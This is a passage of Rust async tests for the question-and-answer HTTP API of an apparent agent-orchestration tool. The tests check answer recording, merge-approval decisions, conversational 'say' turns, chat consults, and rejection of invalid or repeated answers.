13566            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13567            Some("use fallback")
13568        );
13569    }
13570
13571    #[tokio::test]
13572    async fn merge_decision_api_persists_exact_target_and_selected_action() {
13573        let fx = Fixture {
13574            home: TempDir::new().unwrap(),
13575            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13576        };
13577        for choice in [
13578            crate::land::HOLD,
13579            crate::land::REPAIR,
13580            crate::land::APPROVE,
13581            crate::merge_decision::WITHDRAW,
13582            "reimplement:beta",
13583        ] {
13584            let mut q = Question::new(
13585                "old-run".into(),
13586                crate::land::APPROVAL_NODE.into(),
13587                "land".into(),
13588                "Decision".into(),
13589                "Review findings".into(),
13590                vec![
13591                    "merge".into(),
13592                    "hold".into(),
13593                    crate::land::REPAIR.into(),
13594                    crate::merge_decision::WITHDRAW.into(),
13595                    "reimplement:beta".into(),
13596                ],
13597            );
13598            q.merge_target = Some(crate::merge_decision::Target {
13599                pr: "https://github.com/example/repo/pull/42".into(),
13600                head: "exact-reviewed-head".into(),
13601                language: "ja".into(),
13602            });
13603            q.consult = Some(ask::ChatConsult {
13604                talk: "another-conversation".into(),
13605                at: jiff::Timestamp::now(),
13606            });
13607            fx.questions().put(&mut q).unwrap();
13608            let ui = Arc::new(Ui::new(
13609                fx.queue(),
13610                fx.questions(),
13611                fx.talks(),
13612                fx.runs(),
13613                fx.home.path().into(),
13614                std::path::PathBuf::from("."),
13615            ));
13616            let response = question_answer(
13617                State(ui.clone()),
13618                Path(q.id.clone()),
13619                Ok(Json(NewAnswer {
13620                    choice: Some(choice.into()),
13621                    text: None,
13622                    ..Default::default()
13623                })),
13624            )
13625            .await
13626            .unwrap();
13627            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
13628            let disk = fx.questions().get(&q.id).unwrap();
13629            assert_eq!(disk.merge_target, q.merge_target);
13630            assert_eq!(disk.consult, q.consult);
13631            assert_eq!(disk.resolution().as_deref(), Some(choice));
13632            assert!(
13633                question_answer(
13634                    State(ui),
13635                    Path(q.id.clone()),
13636                    Ok(Json(NewAnswer {
13637                        choice: Some("merge".into()),
13638                        text: None,
13639                        ..Default::default()
13640                    }))
13641                )
13642                .await
13643                .is_err(),
13644                "an already settled decision cannot turn into merge approval"
13645            );
13646        }
13647    }
13648
13649    #[tokio::test]
13650    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
13651        let fx = Fixture {
13652            home: TempDir::new().unwrap(),
13653            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13654        };
13655        let mut state = crate::land::tests::repair_state(true, true);
13656        state.status = RunStatus::Landing;
13657        state.parked = true;
13658        state.driver_exited = true;
13659        let mut task = Task::new(
13660            "Existing PR owner".into(),
13661            state.instruction.clone(),
13662            state.repo.clone(),
13663            Source::Human,
13664        );
13665        task.runs.push(state.id.clone());
13666        task.status = TaskStatus::Parked;
13667        fx.queue().put(&mut task).unwrap();
13668        let mut q = Question::new(
13669            state.id.clone(),
13670            crate::land::APPROVAL_NODE.into(),
13671            "land".into(),
13672            "Contested merge".into(),
13673            "Original evidence".into(),
13674            vec!["merge".into(), "hold".into()],
13675        );
13676        state.land_approval = Some(crate::run::LandApproval {
13677            question: q.id.clone(),
13678            head: "reviewed-head".into(),
13679        });
13680        state.save_under(fx.home.path()).unwrap();
13681        fx.questions().put(&mut q).unwrap();
13682        // A later repair answer on this old card supersedes this manual hold.
13683        task.hold_manual(Some("Pause this PR".into()));
13684        fx.queue().put(&mut task).unwrap();
13685        // POST directly, without a preceding GET: validation must see the
13686        // same durable upgrade that the card, CLI and chat see.
13687        let ui = Arc::new(Ui::new(
13688            fx.queue(),
13689            fx.questions(),
13690            fx.talks(),
13691            fx.runs(),
13692            fx.home.path().to_path_buf(),
13693            state.repo.clone(),
13694        ));
13695        let response = question_answer(
13696            State(ui),
13697            Path(q.id.clone()),
13698            Ok(Json(NewAnswer {
13699                choice: Some(crate::land::REPAIR.into()),
13700                text: None,
13701                ..Default::default()
13702            })),
13703        )
13704        .await
13705        .unwrap();
13706        assert_eq!(response.0.question.id, q.id);
13707        let upgraded = fx.questions().get(&q.id).unwrap();
13708        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13709        assert!(upgraded.detail.starts_with("Original evidence"));
13710        let claim = fx.queue().claim(&task.id).unwrap();
13711        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13712        assert!(
13713            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13714            "an existing driver keeps its claim"
13715        );
13716        drop(claim);
13717        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13718        let resumed = fx.queue().get(&task.id).unwrap();
13719        assert_eq!(
13720            resumed
13721                .resume_override
13722                .as_ref()
13723                .unwrap()
13724                .pinned_run
13725                .as_deref(),
13726            Some(state.id.as_str())
13727        );
13728        assert!(resumed.status.runnable());
13729        assert_eq!(resumed.instruction, task.instruction);
13730        assert_eq!(resumed.runs, task.runs);
13731        assert!(resumed.action_applied(&q.id));
13732        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13733        assert_eq!(fx.queue().list().len(), 1);
13734        assert_eq!(
13735            fx.queue().get(&task.id).unwrap().resume_override,
13736            resumed.resume_override
13737        );
13738        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13739        assert!(
13740            disk.merge_repairs.is_empty(),
13741            "only the claimed run driver may execute repair"
13742        );
13743        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13744    }
13745
13746    #[tokio::test]
13747    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13748        let fx = Fixture::start().await;
13749        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13750        let path = format!("/api/questions/{id}/answer");
13751
13752        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13753        assert_eq!(res.status, 200, "{}", res.body);
13754        let body = res.json();
13755        assert_eq!(body["status"], "answered");
13756        assert_eq!(body["answer"]["choice"], "Redis");
13757
13758        // Answered from the terminal in between the list and the tap: the UI
13759        // must be able to tell this from a bad request, so it can show the
13760        // recorded answer instead of an error.
13761        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13762        assert_eq!(again.status, 409, "{}", again.body);
13763        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13764    }
13765
13766    #[tokio::test]
13767    async fn fresh_api_answers_survive_task_inquiry_migration() {
13768        use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13769        for migrate_first in [false, true] {
13770            let fx = Fixture::start().await;
13771            let mut task = Task::new(
13772                "work".into(),
13773                "work".into(),
13774                PathBuf::from("/repo/magi"),
13775                Source::Human,
13776            );
13777            task.runs.push("run-a".into());
13778            fx.queue().put(&mut task).unwrap();
13779            let mut q = Question::new(
13780                "run-a".into(),
13781                "implement".into(),
13782                "impl-A".into(),
13783                "Keep held?".into(),
13784                String::new(),
13785                vec!["hold".into()],
13786            );
13787            q.actions.insert("hold".into(), ChoiceAction::Hold);
13788            fx.questions().put(&mut q).unwrap();
13789            if migrate_first {
13790                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13791            }
13792            let response = fx
13793                .post(
13794                    &format!("/api/questions/{}/answer", q.id),
13795                    Some(r#"{"choice":"hold"}"#),
13796                )
13797                .await;
13798            assert_eq!(response.status, 200, "{}", response.body);
13799            for _ in 0..2 {
13800                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13801                let source = fx.questions().get(&q.id).unwrap();
13802                assert_eq!(source.resolution().as_deref(), Some("hold"));
13803                let decision = Outbox::at(fx.home.path())
13804                    .get(&q.id)
13805                    .unwrap()
13806                    .decision
13807                    .unwrap();
13808                assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13809                assert_eq!(decision.source_answer_at, source.answered_at);
13810                assert_eq!(decision.status, Status::Queued);
13811            }
13812            assert_eq!(
13813                fx.post(
13814                    &format!("/api/questions/{}/answer", q.id),
13815                    Some(r#"{"choice":"hold"}"#)
13816                )
13817                .await
13818                .status,
13819                409
13820            );
13821        }
13822    }
13823
13824    #[tokio::test]
13825    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13826        let home = tempfile::tempdir().unwrap();
13827        let ui = delta_test_ui(home.path());
13828        let mut q = Question::new(
13829            "task".into(),
13830            crate::land::APPROVAL_NODE.into(),
13831            "land".into(),
13832            "Explain?".into(),
13833            String::new(),
13834            vec!["hold".into()],
13835        );
13836        q.deputy = Some(ask::Deputy::new("context".into()));
13837        ui.questions.put(&mut q).unwrap();
13838        let mut cfg = stub_config();
13839        cfg.daemon.max_deputies = 0;
13840        let mut status = crate::daemon::Status::new();
13841        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13842        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13843        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13844        let error = question_say(
13845            State(ui.clone()),
13846            Path(q.id.clone()),
13847            Ok(Json(NewSay {
13848                body: "Explain the findings".into(),
13849            })),
13850        )
13851        .await
13852        .unwrap_err();
13853        assert_eq!(
13854            error.text_reason,
13855            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13856        );
13857        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13858
13859        let mut text = Question::new(
13860            "task".into(),
13861            "ask".into(),
13862            "operator".into(),
13863            "Which name?".into(),
13864            String::new(),
13865            vec![],
13866        );
13867        ui.questions.put(&mut text).unwrap();
13868        let Json(view) = question_answer(
13869            State(ui.clone()),
13870            Path(text.id.clone()),
13871            Ok(Json(NewAnswer {
13872                choice: None,
13873                text: Some("chosen name".into()),
13874                ..Default::default()
13875            })),
13876        )
13877        .await
13878        .unwrap();
13879        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13880        assert!(!ui.questions.get(&text.id).unwrap().status.open());
13881    }
13882
13883    #[tokio::test]
13884    async fn question_text_handler_admission_without_transport() {
13885        let home = tempfile::tempdir().unwrap();
13886        let ui = delta_test_ui(home.path());
13887        let mut q = Question::new(
13888            "task".into(),
13889            crate::land::APPROVAL_NODE.into(),
13890            "land".into(),
13891            "May this PR merge?".into(),
13892            String::new(),
13893            vec!["hold".into()],
13894        );
13895        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13896        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13897        ui.questions.put(&mut q).unwrap();
13898        let say = || {
13899            Ok(Json(NewSay {
13900                body: "Explain the findings".into(),
13901            }))
13902        };
13903        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13904            .await
13905            .unwrap_err();
13906        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13907        let response = rejected.into_response();
13908        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13909            .await
13910            .unwrap();
13911        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13912        assert_eq!(body["code"], "question_text_unavailable");
13913        assert_eq!(body["reason"], "deputy_exhausted");
13914        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13915        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13916        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13917        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13918            .await
13919            .unwrap();
13920        assert_eq!(view.text_delivery.state, "live");
13921        assert!(view.question.waiter.is_none());
13922        assert!(view.question.cwd.is_none());
13923        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13924        ui.questions.drop_lease(&q.id);
13925        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13926            .await
13927            .unwrap_err();
13928        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13929        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13930        let _ = question_answer(
13931            State(ui.clone()),
13932            Path(q.id.clone()),
13933            Ok(Json(NewAnswer {
13934                choice: Some("hold".into()),
13935                text: None,
13936                ..Default::default()
13937            })),
13938        )
13939        .await
13940        .unwrap();
13941        assert_eq!(
13942            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13943            Some("hold")
13944        );
13945    }
13946
13947    #[tokio::test]
13948    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13949        let fx = Fixture::start().await;
13950        let store = fx.questions();
13951        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13952        store
13953            .update(&id, |q| {
13954                q.node = crate::land::APPROVAL_NODE.to_owned();
13955                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13956                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13957                Ok(())
13958            })
13959            .unwrap();
13960        let path = format!("/api/questions/{id}/say");
13961        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13962        assert_eq!(refused.status, 422, "{}", refused.body);
13963        assert!(
13964            refused.json()["error"]
13965                .as_str()
13966                .unwrap()
13967                .contains("deputy_exhausted")
13968        );
13969        assert!(store.get(&id).unwrap().thread.is_empty());
13970
13971        // A final live deputy is usable even with no ordinary waiter/cwd.
13972        store.beat(&id, ask::WaiterKind::Deputy);
13973        let view = fx.get("/api/questions").await.json();
13974        assert_eq!(view[0]["text_delivery"]["state"], "live");
13975        let accepted = fx
13976            .post(&path, Some(r#"{"body":"explain the findings"}"#))
13977            .await;
13978        assert_eq!(accepted.status, 200, "{}", accepted.body);
13979        let before = std::fs::read(store.path_of(&id)).unwrap();
13980
13981        // The recipient exits between rendering and sending. Rejection must
13982        // preserve previously accepted text, the answer and delivery cursor.
13983        store.drop_lease(&id);
13984        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13985        assert_eq!(refused.status, 422, "{}", refused.body);
13986        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13987        let held = fx
13988            .post(
13989                &format!("/api/questions/{id}/answer"),
13990                Some(r#"{"choice":"hold"}"#),
13991            )
13992            .await;
13993        assert_eq!(held.status, 200, "{}", held.body);
13994        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13995    }
13996
13997    #[tokio::test]
13998    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13999        let repo = tempfile::tempdir().unwrap();
14000        let mut cfg = stub_config();
14001        cfg.daemon.max_deputies = 0;
14002        std::fs::write(
14003            repo.path().join("magi.toml"),
14004            toml::to_string(&cfg).unwrap(),
14005        )
14006        .unwrap();
14007        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14008        let mut status = crate::daemon::Status::new();
14009        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
14010        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
14011        let id = ask(&fx, "Explain?", &["hold"]);
14012        fx.questions()
14013            .update(&id, |q| {
14014                q.node = crate::land::APPROVAL_NODE.into();
14015                q.deputy = Some(ask::Deputy::new("context".into()));
14016                q.deputy.as_mut().unwrap().agent = "stub".into();
14017                Ok(())
14018            })
14019            .unwrap();
14020        cfg.daemon.max_deputies = 1;
14021        std::fs::write(
14022            repo.path().join("magi.toml"),
14023            toml::to_string(&cfg).unwrap(),
14024        )
14025        .unwrap();
14026        let view = fx.get("/api/questions").await.json();
14027        assert_eq!(view[0]["deputies_enabled"], true);
14028        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
14029        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
14030        let res = fx
14031            .post(
14032                &format!("/api/questions/{id}/say"),
14033                Some(r#"{"body":"Please explain"}"#),
14034            )
14035            .await;
14036        assert_eq!(res.status, 422, "{}", res.body);
14037        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
14038    }
14039
14040    #[tokio::test]
14041    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
14042        let fx = Fixture::start().await;
14043        let id = ask(&fx, "No seat", &[]);
14044        let store = fx.questions();
14045        let before = std::fs::read(store.path_of(&id)).unwrap();
14046        let res = fx
14047            .post(
14048                &format!("/api/questions/{id}/say"),
14049                Some(r#"{"body":"hello"}"#),
14050            )
14051            .await;
14052        assert_eq!(res.status, 422, "{}", res.body);
14053        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
14054        let res = fx
14055            .post(
14056                &format!("/api/questions/{id}/answer"),
14057                Some(r#"{"text":"hello"}"#),
14058            )
14059            .await;
14060        assert_eq!(res.status, 200, "{}", res.body);
14061        assert_eq!(
14062            store.get(&id).unwrap().resolution().as_deref(),
14063            Some("hello")
14064        );
14065    }
14066
14067    #[tokio::test]
14068    async fn saying_something_appends_a_turn_without_answering() {
14069        let fx = Fixture::start().await;
14070        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14071        fx.questions().beat(&id, ask::WaiterKind::Asker);
14072        let path = format!("/api/questions/{id}/say");
14073
14074        let res = fx
14075            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
14076            .await;
14077        assert_eq!(res.status, 200, "{}", res.body);
14078        let body = res.json();
14079        assert_eq!(body["status"], "open", "talking back is not a decision");
14080        assert_eq!(body["answer"], Value::Null);
14081        assert_eq!(body["thread"][0]["who"], "operator");
14082        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
14083        assert_eq!(body["waiting_on_agent"], true);
14084        // Still open, still counted, still exactly one question.
14085        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14086    }
14087
14088    #[tokio::test]
14089    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
14090        let fx = Fixture::start().await;
14091        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14092
14093        let list = fx.get("/api/questions").await.json();
14094        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
14095
14096        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
14097        assert_eq!(res.status, 409, "{}", res.body);
14098        let q = fx.questions().get(&id).unwrap();
14099        assert!(q.status.open());
14100        assert!(q.consult.is_none());
14101    }
14102
14103    #[tokio::test]
14104    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
14105        let fx = Fixture::start().await;
14106        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14107        let cfg = Config {
14108            agents: vec![crate::config::AgentSpec {
14109                id: "mock".to_owned(),
14110                kind: crate::config::AgentKind::Command,
14111                model: None,
14112                command: vec!["true".to_owned()],
14113                extra_args: Vec::new(),
14114                env: Default::default(),
14115                prompt_delivery: None,
14116                max_turn_secs: None,
14117            }],
14118            ..Config::default()
14119        };
14120        let talk = crate::talk::begin(
14121            &fx.talks(),
14122            &cfg,
14123            fx.home.path().to_path_buf(),
14124            Some("mock"),
14125        )
14126        .unwrap();
14127        let mut task = Task::new(
14128            "t".to_owned(),
14129            "Do it".to_owned(),
14130            PathBuf::from("/repo/magi"),
14131            Source::Agent {
14132                run: talk.id.clone(),
14133                node: crate::queue::CHAT_NODE.to_owned(),
14134            },
14135        );
14136        task.start("20260902-000000-beef".to_owned());
14137        fx.queue().put(&mut task).unwrap();
14138
14139        let list = fx.get("/api/questions").await.json();
14140        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
14141        assert_eq!(
14142            list[0]["choices"],
14143            serde_json::json!(["SQLite", "Redis"]),
14144            "the hand-over is never a choice"
14145        );
14146        fx.questions()
14147            .update(&id, |q| {
14148                q.node = crate::land::APPROVAL_NODE.into();
14149                q.choices = vec!["merge".into(), "hold".into()];
14150                Ok(())
14151            })
14152            .unwrap();
14153        let list = fx.get("/api/questions").await.json();
14154        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
14155        assert_eq!(list[0]["can_consult_chat"], true);
14156        fx.questions()
14157            .update(&id, |q| {
14158                q.node = crate::bump::NOTICE_NODE.into();
14159                Ok(())
14160            })
14161            .unwrap();
14162        let list = fx.get("/api/questions").await.json();
14163        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
14164        assert_eq!(list[0]["can_consult_chat"], false);
14165    }
14166
14167    #[tokio::test]
14168    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
14169        let fx = Fixture::start().await;
14170        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14171        fx.questions()
14172            .update(&id, |q| {
14173                q.node = crate::land::APPROVAL_NODE.into();
14174                q.choices = vec!["merge".into(), "hold".into()];
14175                Ok(())
14176            })
14177            .unwrap();
14178        let cfg = Config {
14179            agents: vec![crate::config::AgentSpec {
14180                id: "mock".to_owned(),
14181                kind: crate::config::AgentKind::Command,
14182                model: None,
14183                command: vec!["true".to_owned()],
14184                extra_args: Vec::new(),
14185                env: Default::default(),
14186                prompt_delivery: None,
14187                max_turn_secs: None,
14188            }],
14189            ..Config::default()
14190        };
14191        // Not a git working tree, so its `magi.toml` is read from disk.
14192        let repo = fx.home.path().join("chat-repo");
14193        std::fs::create_dir_all(&repo).unwrap();
14194        let toml = repo.join("magi.toml");
14195        std::fs::write(&toml, "this is = = not toml").unwrap();
14196        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
14197        let mut task = Task::new(
14198            "t".to_owned(),
14199            "Do it".to_owned(),
14200            PathBuf::from("/repo/magi"),
14201            Source::Agent {
14202                run: talk.id.clone(),
14203                node: crate::queue::CHAT_NODE.to_owned(),
14204            },
14205        );
14206        task.start("20260902-000000-beef".to_owned());
14207        fx.queue().put(&mut task).unwrap();
14208
14209        let path = format!("/api/questions/{id}/consult");
14210        let res = fx.post(&path, None).await;
14211        assert!(res.status >= 400, "{}", res.body);
14212        assert!(fx.questions().get(&id).unwrap().consult.is_none());
14213        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
14214
14215        std::fs::write(&toml, "").unwrap();
14216        let res = fx.post(&path, None).await;
14217        assert_eq!(res.status, 202, "{}", res.body);
14218        assert!(fx.questions().get(&id).unwrap().consult.is_some());
14219        let q = fx.questions().get(&id).unwrap();
14220        assert!(q.status.open());
14221        assert!(q.answer.is_none());
14222        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
14223        assert_eq!(res.json()["can_consult_chat"], true);
14224        let list = fx.get("/api/questions").await.json();
14225        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
14226        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
14227
14228        let res = fx
14229            .post(
14230                &format!("/api/questions/{id}/answer"),
14231                Some(r#"{"choice":"hold"}"#),
14232            )
14233            .await;
14234        assert_eq!(res.status, 200, "{}", res.body);
14235        assert_eq!(res.json()["answer"]["choice"], "hold");
14236        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
14237        assert_eq!(res.json()["can_consult_chat"], false);
14238        assert_eq!(fx.post(&path, None).await.status, 409);
14239
14240        let mut talk = fx.talks().get(&talk.id).unwrap();
14241        // This test closes the history view, not an unconsumed consultation.
14242        crate::talk::clear_pending(&mut talk, &fx.talks()).unwrap();
14243        crate::talk::close(&mut talk, &fx.talks()).unwrap();
14244        let list = fx.get("/api/questions").await.json();
14245        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
14246        assert_eq!(list[0]["origin_chat_closed"], true);
14247        assert_eq!(list[0]["can_consult_chat"], false);
14248
14249        fx.talks().remove(&talk.id).unwrap();
14250        let list = fx.get("/api/questions").await.json();
14251        assert_eq!(list[0]["origin_chat"], Value::Null);
14252        assert_eq!(list[0]["origin_chat_closed"], false);
14253        assert_eq!(list[0]["can_consult_chat"], false);
14254    }
14255
14256    #[tokio::test]
14257    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
14258        let fx = Fixture::start().await;
14259        let store = fx.questions();
14260        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14261        store.beat(&id, ask::WaiterKind::Asker);
14262        assert_eq!(
14263            fx.get("/api/health").await.json()["questions_needs_owner"],
14264            1
14265        );
14266
14267        // The owner asks back instead of deciding: the ask bar, the nav badge
14268        // and the title must stop naming this question, because there is
14269        // nothing to decide until the agent answers - `status` alone cannot
14270        // say that, which is the whole reason `questions_needs_owner` exists
14271        // alongside `questions_open`.
14272        let res = fx
14273            .post(
14274                &format!("/api/questions/{id}/say"),
14275                Some(r#"{"body":"why not Postgres?"}"#),
14276            )
14277            .await;
14278        assert_eq!(res.status, 200, "{}", res.body);
14279        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14280        assert_eq!(
14281            fx.get("/api/health").await.json()["questions_needs_owner"],
14282            0,
14283            "waiting on the agent is not waiting on the owner"
14284        );
14285
14286        // `magi ask --thread` replying is what brings the owner count back -
14287        // the same event that would resume the CLI call blocked in `magi
14288        // ask`.
14289        let mut q = store.get(&id).expect("get");
14290        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
14291            .expect("reply");
14292        store.put(&mut q).expect("put");
14293        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14294        assert_eq!(
14295            fx.get("/api/health").await.json()["questions_needs_owner"],
14296            1,
14297            "the agent's reply is what should light the banner back up"
14298        );
14299    }
14300
14301    #[tokio::test]
14302    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
14303        let fx = Fixture::start().await;
14304        let store = fx.questions();
14305
14306        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14307        let res = fx
14308            .post(
14309                &format!("/api/questions/{empty_id}/say"),
14310                Some(r#"{"body":"   "}"#),
14311            )
14312            .await;
14313        assert_eq!(res.status, 400, "{}", res.body);
14314
14315        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14316        let mut answered = store.get(&answered_id).expect("get");
14317        answered
14318            .answer(Answer::Choice("SQLite".to_owned()))
14319            .expect("answer");
14320        store.put(&mut answered).expect("put");
14321        let res = fx
14322            .post(
14323                &format!("/api/questions/{answered_id}/say"),
14324                Some(r#"{"body":"still there?"}"#),
14325            )
14326            .await;
14327        assert_eq!(res.status, 409, "{}", res.body);
14328
14329        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14330        let mut abandoned = store.get(&abandoned_id).expect("get");
14331        abandoned.abandon("timed out");
14332        store.put(&mut abandoned).expect("put");
14333        let res = fx
14334            .post(
14335                &format!("/api/questions/{abandoned_id}/say"),
14336                Some(r#"{"body":"still there?"}"#),
14337            )
14338            .await;
14339        assert_eq!(res.status, 409, "{}", res.body);
14340    }
14341
14342    #[tokio::test]
14343    async fn historical_release_2029_api_retains_answer_and_refuses_controls() {
14344        let fx = Fixture::start().await;
14345        let questions = fx.questions();
14346        let mut q = Question::new(
14347            String::new(),
14348            crate::bump::NOTICE_NODE.into(),
14349            "release-watch".into(),
14350            "Release PR approval".into(),
14351            "Saved head".into(),
14352            vec!["merge".into(), "hold".into()],
14353        );
14354        q.id = "20261109-014940-871849981cd969b1-0000000000000000-2029".into();
14355        q.merge_target = Some(crate::merge_decision::Target {
14356            pr: "https://example.test/mebae/pull/100".into(),
14357            head: "4d5a46f99a678608d2b883498d8bebd9399c0261".into(),
14358            language: "en".into(),
14359        });
14360        q.answer(Answer::Choice("merge".into())).unwrap();
14361        q.answer_delivered = true;
14362        questions.put(&mut q).unwrap();
14363        let dir = fx.home.path().join("notifications/task-chat-migration-v1");
14364        std::fs::create_dir_all(&dir).unwrap();
14365        std::fs::write(
14366            dir.join("state.json"),
14367            serde_json::to_vec(&serde_json::json!({
14368                "schema": 1, "sources": [q.id], "pending": [q.id]
14369            }))
14370            .unwrap(),
14371        )
14372        .unwrap();
14373        let bytes = std::fs::read(questions.path_of(&q.id)).unwrap();
14374        for migrated in [false, true] {
14375            if migrated {
14376                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &questions, fx.home.path());
14377            }
14378            for endpoint in ["/api/questions", "/api/questions/core"] {
14379                let response = fx.get(endpoint).await;
14380                assert_eq!(response.status, 200);
14381                let rows = response.json();
14382                let row = rows
14383                    .as_array()
14384                    .unwrap()
14385                    .iter()
14386                    .find(|r| r["id"] == q.id)
14387                    .unwrap();
14388                assert_eq!(row["status"], "answered");
14389                assert_eq!(row["answer"]["choice"], "merge");
14390                assert_eq!(row["can_answer"], false);
14391                assert_eq!(row["history_only"], true);
14392            }
14393            let answer = fx
14394                .post(
14395                    &format!("/api/questions/{}/answer", q.id),
14396                    Some(r#"{"choice":"merge"}"#),
14397                )
14398                .await;
14399            assert_eq!(answer.status, 409, "{}", answer.body);
14400            assert_eq!(std::fs::read(questions.path_of(&q.id)).unwrap(), bytes);
14401        }
14402    }
14403
14404    #[tokio::test]
14405    async fn an_answer_the_question_does_not_offer_is_refused() {
14406        let fx = Fixture::start().await;
14407        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14408        let path = format!("/api/questions/{id}/answer");
14409
14410        for body in [
14411            r#"{"choice":"Postgres"}"#,
14412            r#"{"text":"whatever you think"}"#,
14413            r#"{"choice":"Redis","text":"both"}"#,
14414            r#"{}"#,
14415        ] {
14416            let res = fx.post(&path, Some(body)).await;
14417            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
14418            assert!(res.json()["error"].is_string(), "{}", res.body);
14419        }
14420        // Nothing above may have answered it.
14421        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14422    }
14423
14424    #[tokio::test]
14425    async fn a_free_text_question_takes_text_and_not_a_choice() {
14426        let fx = Fixture::start().await;
14427        let id = ask(&fx, "What should the flag be called?", &[]);
14428        fx.questions().beat(&id, ask::WaiterKind::Asker);
14429        let path = format!("/api/questions/{id}/answer");
14430
14431        assert_eq!(
14432            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
14433            400
14434        );
